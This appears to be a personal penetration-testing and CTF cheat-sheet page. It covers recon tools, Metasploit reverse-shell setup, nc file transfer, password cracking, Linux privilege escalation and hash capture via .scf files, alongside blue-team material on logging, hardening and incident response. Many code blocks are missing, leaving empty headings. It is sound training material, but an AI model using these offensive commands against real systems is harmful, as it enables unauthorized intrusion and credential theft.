Nmap
Network Mapper — the essential first tool in any pentest. Maps open ports, detects services, versions, and OS. Always start here.
-p-), then targeted -sC -sV on only the open ones. Saves a ton of time.Core Scans
NSE Scripts
Key Flags Reference
| Flag | Description |
|---|---|
| -sS | SYN stealth (half-open) scan — requires root |
| -sU | UDP scan — slow, use on specific ports |
| -sC | Run default NSE scripts |
| -sV | Service/version detection |
| -O | OS detection |
| -A | Aggressive: OS + version + scripts + traceroute |
| -T4 | Faster timing (T0=paranoid → T5=insane) |
| -p- | Scan all 65535 ports |
| -oN / -oX / -oG | Save as normal / XML / grepable |
| -v / -vv | Verbose output |
| --script vuln | Vulnerability detection scripts |
| --open | Only show open ports |
Gobuster / Ffuf
Web content discovery tools. Gobuster is the go-to for directory and DNS brute-forcing; Ffuf is faster and more flexible, great for fuzzing parameters, virtual hosts, and more.
-x php,html,txt,bak,zip — many CTF flags hide in backup files or non-obvious extensions.Gobuster
Ffuf
Best Wordlists
| Wordlist | Use Case |
|---|---|
| dirb/common.txt | Quick starting point, fast |
| dirbuster/directory-list-2.3-medium.txt | More thorough directory scan |
| SecLists/Discovery/Web-Content/raft-large-directories.txt | Most comprehensive |
| SecLists/Discovery/DNS/subdomains-top1million-5000.txt | Subdomain enumeration |
| SecLists/Discovery/Web-Content/common.txt | Good all-rounder for ffuf |
SMB Enumeration
SMB (ports 139/445) is one of the most common attack surfaces in CTFs and real engagements. Anonymous access, weak credentials, and unpatched exploits (EternalBlue) are frequent findings.
Enumeration
smb: \> prompt OFF
smb: \> mget *
Nmap SMB Scripts
Common Findings
| Finding | What to Do |
|---|---|
| Anonymous/null session | Run enum4linux, browse shares with -N flag |
| Readable shares | Look for passwords, config files, scripts |
| Writable shares | Drop a .scf or .lnk file to capture NTLMv2 hash via Responder |
| EternalBlue (MS17-010) | Use Metasploit exploit/windows/smb/ms17_010_eternalblue |
| Usernames found | Feed into Hydra or Kerbrute for password attacks |
Burp Suite
The industry-standard web application security testing toolkit. Intercept, modify, and replay HTTP/S traffic. Essential for web pentesting, bug bounty, and CTFs.
127.0.0.1:8080. For HTTPS, visit http://burp with proxy on and install the CA cert.Core Workflow
| Feature | How to Use |
|---|---|
| Intercept | Proxy → Intercept ON → browse target → modify & forward |
| Repeater | Right-click request → Send to Repeater → tweak & resend manually |
| Intruder | Send to Intruder → mark payload positions (§§) → load wordlist → Attack |
| Decoder | Decode/encode Base64, URL, HTML, Hex on the fly |
| Comparer | Diff two requests/responses to spot subtle differences |
| Scanner | Pro only — passive/active automated vuln scanning |
Useful Tricks
# Mark password field: §value§
# Payloads tab → load rockyou.txt → Start Attack
SQLMap
Automated SQL injection detection and exploitation. Can enumerate databases, dump tables, read/write files, and even get a shell depending on DBMS privileges.
--level and --risk flags carefully.Basic Usage
Useful Flags
| Flag | Description |
|---|---|
| --level 1-5 | Test intensity (default 1, use 3+ for thorough) |
| --risk 1-3 | Risk of payloads (1=safe, 3=includes heavy tests) |
| --batch | Non-interactive, auto-answer all prompts |
| --forms | Auto-detect and test forms on the page |
| --random-agent | Use random User-Agent to evade basic WAFs |
| --technique=U | Specify injection type: B(oolean), E(rror), U(nion), T(ime) |
XSS Notes
Cross-Site Scripting — injecting scripts into pages viewed by other users. OWASP Top 10. Can lead to session hijacking, credential theft, keylogging, and account takeover.
XSS Types
| Type | How It Works | Impact |
|---|---|---|
| Reflected | Payload in URL, reflected in response. Victim must click crafted link. | Session theft, phishing |
| Stored | Payload saved in DB, fires for every visitor. Most dangerous. | Wormable, mass compromise |
| DOM-based | Vulnerable client-side JS reads attacker-controlled DOM source. | Same as above, harder to detect |
Test Payloads
WAF Bypass Techniques
Nikto
Web server scanner that checks for dangerous files, outdated software, misconfigurations, and known vulnerabilities. Noisy but comprehensive — great for a first pass on any web target.
Common Commands
What Nikto Finds
| Finding | Significance |
|---|---|
| Server version disclosure | Check if version has known CVEs |
| /admin, /backup, /test | Common sensitive paths exposed |
| Default credentials | Test for vendor default logins |
| Dangerous HTTP methods | PUT/DELETE enabled — possible file upload/delete |
| Missing security headers | X-Frame-Options, CSP, HSTS missing |
| Outdated software | Apache, PHP, WordPress versions with CVEs |
Metasploit Framework
The world's most-used penetration testing framework. Hundreds of exploits, payloads, and post-exploitation modules covering the full attack lifecycle.
Core Workflow
msf6> set RHOSTS <target-ip>
msf6> set LHOST <your-ip>
msf6> set LPORT 4444
msf6> show options
msf6> run
msf6> sessions -l
msf6> sessions -i 1
Meterpreter Post-Exploitation
meterpreter> getuid
meterpreter> download C:\flag.txt
Msfvenom — Payload Generator
Reverse Shells
A reverse shell makes the target connect back to your listener. Set up your listener first, then execute the payload on the target.
Start a Listener
msf6> set payload linux/x64/shell_reverse_tcp
msf6> set LHOST <your-ip>
msf6> run
Shell One-Liners
Upgrade to Full TTY
stty raw -echo; fg
# Press Enter twice, then:
export TERM=xterm
File Transfer
Getting tools and files onto (and off) a target is a critical skill. These are the methods that work in most CTF and real-world scenarios.
Serving Files from Your Attack Machine
# Sender: nc <receiver-ip> 4444 < file.txt
Downloading on the Target (Linux)
Downloading on the Target (Windows)
# Windows: copy \<your-ip>\shareile.exe .
Hydra
Fast parallelised network login cracker. Supports SSH, FTP, HTTP, SMB, RDP, MySQL, and dozens more protocols. The go-to tool for online brute-forcing.
Common Attacks
Key Flags
| Flag | Description |
|---|---|
| -l / -L | Single username / username list file |
| -p / -P | Single password / password list file |
| -t | Parallel tasks per target (default 16) |
| -f | Stop after first valid login found |
| -V | Verbose — show every attempt |
| -s | Custom port (e.g. -s 2222 for SSH on non-standard port) |
| -o | Save found credentials to file |
John the Ripper / Hashcat
Offline password crackers. John auto-detects hash formats and is great for CTFs; Hashcat uses GPU acceleration and is faster for large hash sets on your own hardware.
John the Ripper
john combined.txt --wordlist=rockyou.txt
john zip.hash --wordlist=rockyou.txt
john id_rsa.hash --wordlist=rockyou.txt
Hashcat
Common Hash Mode Numbers
| Mode | Hash Type |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1400 | SHA256 |
| 1000 | NTLM (Windows) |
| 3200 | bcrypt |
| 13100 | Kerberoast (TGS-REP) |
LinPEAS / WinPEAS
PEASS-ng — automated post-exploitation enumeration scripts. After you land a shell, run this immediately. It colour-codes everything by severity so you know exactly where to look.
Getting It onto the Target
What to Look For in Output
| Section | What It Means |
|---|---|
| Sudo -l | Binaries you can sudo → check GTFOBins immediately |
| SUID/SGID binaries | Non-standard SUID binaries → GTFOBins |
| Writable cron jobs | You can inject commands that run as root |
| Passwords in files | Config files, history files, env variables |
| Capabilities | cap_setuid+ep on python/perl → instant root |
| Network connections | Internal services only accessible from localhost |
Linux PrivEsc Notes
Manual checks and techniques for escalating privileges on Linux. Always run LinPEAS first, then use these for manual follow-up on interesting findings.
Situational Awareness
Common Vectors
ls -la /etc/cron.d/ /etc/cron.daily/ /var/spool/cron/crontabs/
GTFOBins Quick Escapes
Steganography
Hidden data inside images, audio, and files. A common CTF category — flags are often embedded in JPGs, PNGs, WAV files, or disguised using file format tricks.
Initial Checks
File Carving & Extraction
Audio Steganography
Common File Magic Bytes
| Magic Bytes (hex) | File Type |
|---|---|
| FF D8 FF | JPEG/JPG |
| 89 50 4E 47 | PNG |
| 47 49 46 38 | GIF |
| 50 4B 03 04 | ZIP (also DOCX, XLSX, JAR) |
| 25 50 44 46 | |
| 7F 45 4C 46 | ELF (Linux executable) |
| 4D 5A | MZ — Windows EXE/DLL |
CTF Tips
Personal methodology for CTF challenges — built from TryHackMe, PicoCTF, and my own cyb3rak:hack series.
My Methodology
Port Cheatsheet
| Port | Service | Attack Angle |
|---|---|---|
| 21 | FTP | Anonymous login → ftp <ip>, user: anonymous. Version CVEs. |
| 22 | SSH | Username enum, brute-force (Hydra), default/weak creds, weak key |
| 23 | Telnet | Cleartext — default creds, sniff with Wireshark |
| 25 | SMTP | User enumeration with VRFY/EXPN |
| 53 | DNS | Zone transfer: dig axfr @<ip> domain.com |
| 80/443 | HTTP/S | Gobuster, robots.txt, source, Burp, Nikto, SQLi, XSS |
| 110/143 | POP3/IMAP | Email access — brute-force or default creds |
| 139/445 | SMB | Null session, enum4linux, smbclient, EternalBlue |
| 3306 | MySQL | Default creds (root:root, root:blank), remote login |
| 3389 | RDP | Brute-force (Hydra), BlueKeep (CVE-2019-0708) |
| 5985/5986 | WinRM | evil-winrm if you have creds |
| 6379 | Redis | Unauthenticated access — read/write data, RCE possible |
Quick Wins Checklist
Hunt for flags in /root/root.txt, /home/user/user.txt — the standard CTF locations.
eJPT Notes
Personal notes from passing the eJPT (eLearnSecurity Junior Penetration Tester) in 2026. Open-book, practical exam — these are the things that matter most.
What Actually Matters
Best Study Resources
| Resource | Why It Helps |
|---|---|
| INE Free Starter Pass | Official course — covers every tested topic, labs included |
| TryHackMe Jr Pentester Path | Best practical hands-on prep — do this before the exam |
| HackTheBox Starting Point | Builds confidence with real machines at beginner level |
| youtube.com/@Cyb3rak | My walkthroughs and tool guides cover eJPT topics directly |
Blue Team Basics
Understanding the defender's perspective makes you a better attacker — and a more well-rounded security professional. Blue team work is about detection, visibility, and response.
Key Windows Event IDs
| Event ID | What It Means | Why It Matters |
|---|---|---|
| 4624 | Successful logon | Baseline logins; alert on anomalous times/IPs |
| 4625 | Failed logon | Brute-force attempts — many in short time = attack |
| 4648 | Logon with explicit credentials | Lateral movement indicator (pass-the-hash) |
| 4672 | Admin privileges assigned | Privilege escalation or admin account use |
| 4688 | New process created | Detect suspicious child processes (cmd.exe from Word) |
| 4698 | Scheduled task created | Persistence mechanism — attackers love scheduled tasks |
| 4720 | New user account created | Persistence — attacker creating backdoor accounts |
| 4776 | NTLM auth attempt | NTLM relay/pass-the-hash attacks |
| 7045 | New service installed | Malware persistence via services |
Linux Log Files to Monitor
| Log File | What It Contains |
|---|---|
| /var/log/auth.log | SSH logins, sudo use, failed auth attempts (Debian/Ubuntu) |
| /var/log/secure | Same as above on RHEL/CentOS |
| /var/log/syslog | General system activity, service starts/stops |
| /var/log/apache2/access.log | Web requests — look for SQLi, path traversal, scanners |
| /var/log/apache2/error.log | Application errors, often reveals attack attempts |
| /var/log/fail2ban.log | IPs blocked by fail2ban — shows who was brute-forcing |
| /root/.bash_history | Commands run as root — check for attacker activity |
Quick Log Analysis Commands
Linux Hardening
Hardening a Linux system means removing attack surface. Everything LinPEAS flags as a finding is something that can be fixed. Use this as a post-deployment checklist.
User & Access Controls
PermitRootLogin no
PasswordAuthentication no
sudo systemctl restart sshd
# /etc/security/pwquality.conf: minlen=12, dcredit=-1, ucredit=-1
File Permissions & SUID
tmpfs /tmp tmpfs defaults,noexec,nosuid,nodev 0 0
Network & Services
sudo systemctl disable servicename
sudo ufw allow 22/tcp
sudo ufw allow 80,443/tcp
sudo ufw enable
sudo systemctl enable --now fail2ban
Hardening Checklist
| Item | Action | Priority |
|---|---|---|
| SSH config | Disable root login, password auth, use key-based auth only | Critical |
| Unused services | Stop and disable anything not needed | Critical |
| Firewall | Default deny, whitelist only required ports | Critical |
| Automatic updates | Enable unattended-upgrades for security patches | High |
| fail2ban | Install and configure for SSH, HTTP | High |
| SUID binaries | Audit and remove unnecessary SUID bits | High |
| Sudo rules | Use least privilege — no NOPASSWD for dangerous binaries | High |
| Cron jobs | Review all cron jobs, ensure scripts aren't world-writable | Medium |
| Logging | Enable and centralise system logs, set up alerts | Medium |
| /tmp noexec | Mount /tmp with noexec,nosuid options | Medium |
Traffic Analysis
Capturing and analysing network traffic to detect attacks, understand protocols, and investigate incidents. Wireshark for GUI analysis; tcpdump for quick CLI captures.
tcpdump
Wireshark Filters (Display)
| Filter | What It Shows |
|---|---|
| http | All HTTP traffic |
| http.request.method == "POST" | POST requests only — find login attempts, form submissions |
| ip.addr == 10.10.10.1 | All traffic to/from a specific IP |
| tcp.port == 4444 | Potential reverse shell traffic on port 4444 |
| dns | All DNS queries — spot DNS tunnelling or exfil |
| ftp | FTP traffic — credentials are cleartext |
| tcp.flags.syn == 1 && tcp.flags.ack == 0 | SYN packets only — detect port scans |
| frame contains "password" | Search all frames for the word "password" |
| !(arp or dns or icmp) | Hide noisy protocols to see actual traffic |
What to Look For
| Pattern | Possible Indicator |
|---|---|
| Many SYN packets, no completion | Port scan (nmap -sS) |
| Sequential port connections | Port scan or automated tool |
| Large outbound DNS queries | DNS tunnelling / data exfiltration |
| Cleartext credentials in HTTP/FTP/Telnet | Credential exposure |
| Outbound connection on unusual port (4444, 1337) | Reverse shell / C2 beacon |
| Large data transfer to unknown external IP | Data exfiltration |
| Repeated failed auths from one IP | Brute-force attack |
| ARP replies without requests | ARP spoofing / MITM attack |
Incident Response
What to do when a system is compromised. Speed and methodology matter — act fast but document everything. The goal is: contain, investigate, recover, learn.
Initial Triage (Linux)
Memory & Process Investigation
Containment Actions
| Action | Command / Method |
|---|---|
| Block attacker IP at firewall | sudo ufw deny from <attacker-ip> |
| Isolate network (emergency) | sudo ip link set eth0 down — use only if critical |
| Change all passwords immediately | Start with root, then all service accounts |
| Revoke SSH keys | Clear authorized_keys, rotate all key pairs |
| Preserve evidence | Snapshot VM before cleanup; copy logs off-system first |
| Check for persistence | Cron jobs, services, authorized_keys, .bashrc, SUID |